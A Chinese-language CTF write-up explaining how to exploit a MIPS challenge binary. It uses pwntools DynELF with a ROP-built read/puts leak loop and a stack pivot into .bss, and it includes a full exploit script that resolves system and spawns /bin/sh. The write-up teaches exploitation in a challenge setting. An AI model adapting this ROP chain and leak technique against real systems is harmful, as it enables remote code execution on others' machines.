PWN to MIPS by the DynELF

参照https://www.jianshu.com/p/25d709016f4e,这道PWN题相对上一道增加了一些难度,主要是没有显式调用system函数,所以需要通过一些技巧找到libc里面的system函数加载地址。在有libc的情况下,通过先泄露其他函数的实际地址再加上其在libc里与system函数的偏移值就可以获得system函数的实际地址了,而在没有libc文件的情况下,有的时候可以配合pwntools中的DynELF模块来动态获取system函数地址,这也是本篇关键所在。


由于DynELF需要先实现一个函数,这个函数的作用就是给定一个地址,最后可以获取这个地址上的内容,并且这个过程可以重复进行。而为了保证这个过程可以重复进行,就需要一个来读取数据,另一个来输出数据,查看导入表:

可以发现read函数可以用来读数据,puts函数可以用来输出数据,大致构想就是通过构造ROP链来调用read函数来等待数据,把等待来的数据存放在可以控制的栈空间里,然后再通过ROP链调用puts函数返回指定地址的数据信息,再通过ROP链调用read函数来等待数据的到来,这样就可以形成一个循环了。为了找到一个可控栈空间,首先需要在汇编代码里找到一个栈支点,这个支点可以改变sp寄存器的值,通过查找发现这个地方正好合适,这里既可以控制sp、fp也可以控制ra:
然后需要找到存放数据的地方,这个地址是可知的并且可以有写入数据的权限,ELF文件的bss段正好符合:
然后根据__libc_csu_init函数中的ROP组合起来就可以了:

成功PWN图:

from pwn import *

context.arch = 'mips'
context.endian = 'big'

p = remote("ip",port)
e = ELF('./ipowtn_reborn')
gets = e.got['read']
puts = e.got['puts']

ii = True
def leak(addr):
    global ii
    sp = 0x411f00 if ii else 0x411e00
    ii = not ii
    rop = p32(1) + p32(puts) + p32(0) + p32(addr) + p32(0) + p32(0) + p32(0x4011a0) + '2'*0x1c + p32(1) + p32(gets) + p32(0) + p32(0) + p32(sp) + p32(208) + p32(0x4011a0) + 'a'*0x34 + p32(0x400bb0)
    payload = 'a'*0x20 + p32(sp) + p32(0x4011c4) + "a"*0x1c + rop
    p.send(payload)
    buf = ''
    while True:
        n = p.recv(1, timeout = 0.3)
        if buf != '' and n == '':
            buf = buf[:-1] + '\0'
            break
        else:
            buf = buf + n
    return buf[:4]

pl = ['We','are','grad','from','nomal','arch','bcz','W3Are']
for x in xrange(9):
    i = 0
    for y in pl:
        p.sendline(y)
        m = p.recvline(timeout=0.1)
        if 'guess' in m:
            i = i + 1
            if i == len(pl):
                for t in xrange(0x70, 0xf0):
                    p.send('hakker' + p8(t) + p8(0x98))
                    n = p.recvline(timeout=0.1)
                    if 'guess' not in n:
                        print str(x) + ': hakker' + chr(t) + chr(0x98)
                        break
                break
            continue
        else:
            print str(x)+': '+y
            pl.remove(y)
            break

p.recvuntil('go!')
p.recvline()
print 'start...'

rop = p32(1) + p32(gets) + p32(0) + p32(0) + p32(0x411f00) + p32(152) + p32(0x4011a0) + '2'*0x34 + p32(0x400bb0)
payload = "a"*0x20 + p32(0x411f00) + p32(0x4011c4) + "a"*0x24 + rop

p.sendline(payload)
rop = p32(1) + p32(gets) + p32(0) + p32(0) + p32(0x411e00) + p32(208) + p32(0x4011a0) + '2'*0x34 + p32(0x400bb0)
payload = 'a'*0x20 + p32(0x411e00) + p32(0x4011c4) + "a"*0x1c + rop
p.send(payload)

dELF = DynELF(leak, u32(leak(gets)) - 0xe0000)
esystem = dELF.lookup('system')
print 'system addr: %04x' % esystem

sps = 0x411f00 if not ii else 0x411e00
rop = p32(1) + p32(sps) + p32(0) + p32(sps + 96) + p32(0) + p32(0) + p32(0x4011a0) + '/bin/sh\0'
payload = p32(esystem).ljust(0x20, '0') + p32(sps) + p32(0x4011c4) + "a"*0x1c + rop
p.sendline(payload)

p.interactive()

你可能感兴趣的:(PWN to MIPS by the DynELF)